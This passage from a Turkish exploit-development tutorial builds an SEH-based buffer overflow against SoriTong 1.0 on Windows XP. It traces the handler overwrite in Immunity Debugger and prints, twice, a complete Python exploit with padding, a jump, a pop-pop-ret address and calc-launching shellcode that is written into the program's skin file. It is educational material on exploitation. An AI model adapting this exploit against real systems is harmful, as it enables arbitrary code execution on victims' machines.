Devamı
Overwrite etmiş olduğumuz nextSEH altında yazan 00498952 adresine bir breakpoint koyalım.
breakpoint koyduktan sonra altta bize vermiş olduğu hata yazısından yola çıkarak SHIFT+F7/F8/F9 kısayolundan birini kullanarak breakpoint olan noktaya gidelim. F8 ile sırasıyla SE Handler fonksiyonunun aldığı argümanları izleyelim.
Stack içerisinde aldığı argümanların değerine bakacak olursak 2. argümanda bizim nextSEH adresimizi tutan adresi tutmakta. Bu 2. argumanıda sol üst tarafta nerden aldığına bakacak olursak EBP+C'den almış oluyor
ESP'nin gösterdiği adres eax içerisine yazılıp daha sonra Arg5 içerisine aktarılıyor sonra sırasıyla Arg4 => EBP+14 (0x14=20) , Arg3 => EBP+10 (0x10=16), Arg2 => EBP+C (0xC=12) olarak değerler kaydedilmektedir.
Peki güzel hoş ama bence burda bir soru işareti var :/ Biz SE Handler fonksiyonunun adresinin olduğu alanı overwrite ediyoruz. Yani aslında program SEH fonksiyon adresini EIP üzerine yazmak yerine bizim overwrite ederek yazmış olacağımız pop pop ret işlemini gerçekleştiren adresi EIP üzerine yazacak. Böyle olunca da sanki bizim SEH fonksiyonu çalışmayacak.
O halde SEH alanına CCCC yazarak programımızı debugger üzerinde çalıştırıp bir inceleyelim bakalım arka tarafta işler nasıl gerçekleşecek
Python:
# Soritong 1.0 SEH Based Exploit
# Tested : Windows XP SP3 X86
calc = (b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+
b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+
b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+
b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+
b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+
b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+
b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+
b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+
b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+
b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+
b"\x7f\xe8\x7b\xca")
padding = b"\x90"*584
nextSEH = b"\xeb\x06\x90\x90" # jump 6 byte
SEH = b"CCCC"
exploit = padding + nextSEH + SEH #+ calc
# File path
file = "C:\Program Files\SoriTong\Skin\Default\UI.txt"
# File Create
f = open(file, "wb")
f.write(exploit)
f.close()
Immunity Debugger üzerinde programımız çalıştıralım.
Şimdi sağ alt köşede nextSEH ve SEH alanlarını overwrite ettiğimizi görebilirsiniz. nextSEH 12FD64 adresinde tutulmakta. Eğer sağ üstte registerların olduğu kısıma bakarsak bu adresin EDI registerına yazılmış olduğunu görebiliriz.
SHIFT+F9 ile devam edelim
Bizim SEH alanına yazmış olduğumuz CCCC karakterleri EIP ve ECX registerına kopyalanmış. Ve ESP de 0012D644 adresini gösteriyor. O adresede sağ alt köşeden bakacak olursak eğer...
0012D644 7C8F32A8
0012D648 0012D72C
0012D64C 0012FD64
Şöyle sıralandığını görebiliriz. Yani biz bu durumda EIP üzerine 2 adet pop komutu yazarsak 0012D644 adresinde bulunan değer ile 0012D648 adresinde bulunan değer gidecek ve ESP artık 0012D64C adresini gösteriyor olacak. RET komutu çalıştığı zamanda bu adresin içerisinde bulunan 0012FD64 adresine giderek orda bulunan jmp code çalışacak
Sanırım artık SEH Based Exploit'imizi bitirebiliriz. POP işlemleri bulmak için mona.py kullanabiliriz.
mona.py kurulumunu ve aradığımız şeyin çıktısını yazması için nasıl dosya yolu verebileceğimizi bir önceki yazıda anlatmıştım. (Bir önceki yazının en sonunda bulabilirsiniz)
Badchar içermeyen, SafeSeh & ASLR korumaları kapalı olan ve direk RET işlemi gerçekleştiren bir adres seçelim.
Rich (BB code):
# Soritong 1.0 SEH Based Exploit
# Tested : Windows XP SP3 X86
calc = (b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"+
b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"+
b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"+
b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"+
b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"+
b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"+
b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"+
b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"+
b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"+
b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"+
b"\x7f\xe8\x7b\xca")
padding = b"\x90"*584
nextSEH = b"\xeb\x06\x90\x90" # jump 6 byte
SEH = b"\x39\xaf\x01\x10"
exploit = padding + nextSEH + SEH + calc
# File path
file = "C:\Program Files\SoriTong\Skin\Default\UI.txt"
# File Create
f = open(file, "wb")
f.write(exploit)
f.close()
Artık exploitimiz çalışmaya hazır